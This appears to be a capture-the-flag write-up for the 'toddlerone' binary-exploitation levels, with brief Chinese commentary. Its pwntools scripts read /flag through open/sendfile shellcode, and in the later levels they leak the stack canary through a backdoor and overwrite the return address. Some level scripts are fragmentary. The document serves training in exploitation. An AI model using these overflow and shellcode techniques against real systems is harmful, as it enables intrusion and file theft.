from pwn import * r = process("/challenge/toddlerone_level1.0") shellcode = """ mov rbx, 0x00000067616c662f # push "/flag" filename push rbx mov rax, 2 # syscall number of open mov rdi, rsp # point the first argument at stack ("/flag"). mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY). syscall # trigger open("/flag", NULL).
mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout). mov rsi, rax # second argument is the file descriptor returned by open mov rdx, 0 # third argument is the number of bytes to skip from the input file mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file mov rax, 40 # syscall number of sendfile syscall # trigger sendfile(1, fd, 0, 1000).
mov rax, 60 # syscall number of exit syscall # trigger exit(). """ payload = asm(shellcode, arch='amd64')
from pwn import * r = process("/challenge/toddlerone_level2.0") shellcode = """ mov rbx, 0x00000067616c662f # push "/flag" filename push rbx mov rax, 2 # syscall number of open mov rdi, rsp # point the first argument at stack ("/flag"). mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY). syscall # trigger open("/flag", NULL).
mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout). mov rsi, rax # second argument is the file descriptor returned by open mov rdx, 0 # third argument is the number of bytes to skip from the input file mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file mov rax, 40 # syscall number of sendfile syscall # trigger sendfile(1, fd, 0, 1000).
from pwn import * s = process("/challenge/toddlerone_level3.0") shellcode = """ mov rbx, 0x00000067616c662f # push "/flag" filename push rbx mov rax, 2 # syscall number of open mov rdi, rsp # point the first argument at stack ("/flag"). mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY). syscall # trigger open("/flag", NULL).
mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout). mov rsi, rax # second argument is the file descriptor returned by open mov rdx, 0 # third argument is the number of bytes to skip from the input file mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file mov rax, 40 # syscall number of sendfile syscall # trigger sendfile(1, fd, 0, 1000).
mov rax, 60 # syscall number of exit syscall # trigger exit(). """ payload = asm(shellcode, arch='amd64') log.success(str(payload)) # First run, get canary payload1 = b'REPEAT' + b'a'*4 + b'b' s.sendlineafter(b'Payload size: ', str(len(payload1))) s.sendafter(b'bytes)!\n', payload1) s.recvuntil("- the canary value is now 0x") canary = int(s.recvline()[:-2], 16) log.success("canary => {}".format(hex(canary)))
s.sendline("113") print(s.recvuntil("This will allow you to write from 0x")) addr = int(s.recv(12),16) log.success("addr => {}".format(hex(addr))) s.sendline(payload + b'\xaa' * 16 + p64(canary) + b'\x00' * 8 + p64(addr)) s.interactive()
Level 4
最后一题了,有点小激动。 This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts() call to see the hidden backdoor! Goodbye! This challenge will, by default, exit() instead of returning from the challenge function. When a process exit()s, it ceases to exist immediately, and no amount of overwritten return addresses will let you hijack its control flow. You will have to reverse engineer the program to understand how to avoid making this challenge exit(), and allow it to return normally. exit() condition triggered. Exiting! 这一题同样有后门,而且还有一个退出机制。测试了一下,后门仍然是REPEAT,先用上一题的代码测试一下有什么问题。输入后不显示flag,看来需要看一下源码。
from pwn import * s = process("/challenge/toddlerone_level4.0") shellcode = """ mov rbx, 0x00000067616c662f # push "/flag" filename push rbx mov rax, 2 # syscall number of open mov rdi, rsp # point the first argument at stack ("/flag"). mov rsi, 0 # NULL out the second argument (meaning, O_RDONLY). syscall # trigger open("/flag", NULL).
mov rdi, 1 # first argument to sendfile is the file descriptor to output to (stdout). mov rsi, rax # second argument is the file descriptor returned by open mov rdx, 0 # third argument is the number of bytes to skip from the input file mov r10, 1000 # fourth argument is the number of bytes to transfer to the output file mov rax, 40 # syscall number of sendfile syscall # trigger sendfile(1, fd, 0, 1000).
mov rax, 60 # syscall number of exit syscall # trigger exit(). """ payload = asm(shellcode, arch='amd64') log.success(str(payload)) # First run, get canary payload1 = b'REPEAT' + b'a'*4 + b'b' s.sendlineafter(b'Payload size: ', str(len(payload1))) s.sendafter(b'bytes)!\n', payload1) s.recvuntil("- the canary value is now 0x") canary = int(s.recvline()[:-2], 16) log.success("canary => {}".format(hex(canary)))
s.sendline("113") print(s.recvuntil("Our stack pointer points to 0x")) rbp = int(s.recv(12),16) rbp = rbp + 0x40 log.success("rbp => {}".format(hex(rbp))) print(s.recvuntil("This will allow you to write from 0x")) addr = int(s.recv(12),16) log.success("addr => {}".format(hex(addr))) s.sendline(payload + b'\x7d\xc2\x5a\x50\x80\x0b\x4b\x9f' +b'\xaa' * 8 + p64(canary) + p64(rbp) + p64(addr)) s.interactive()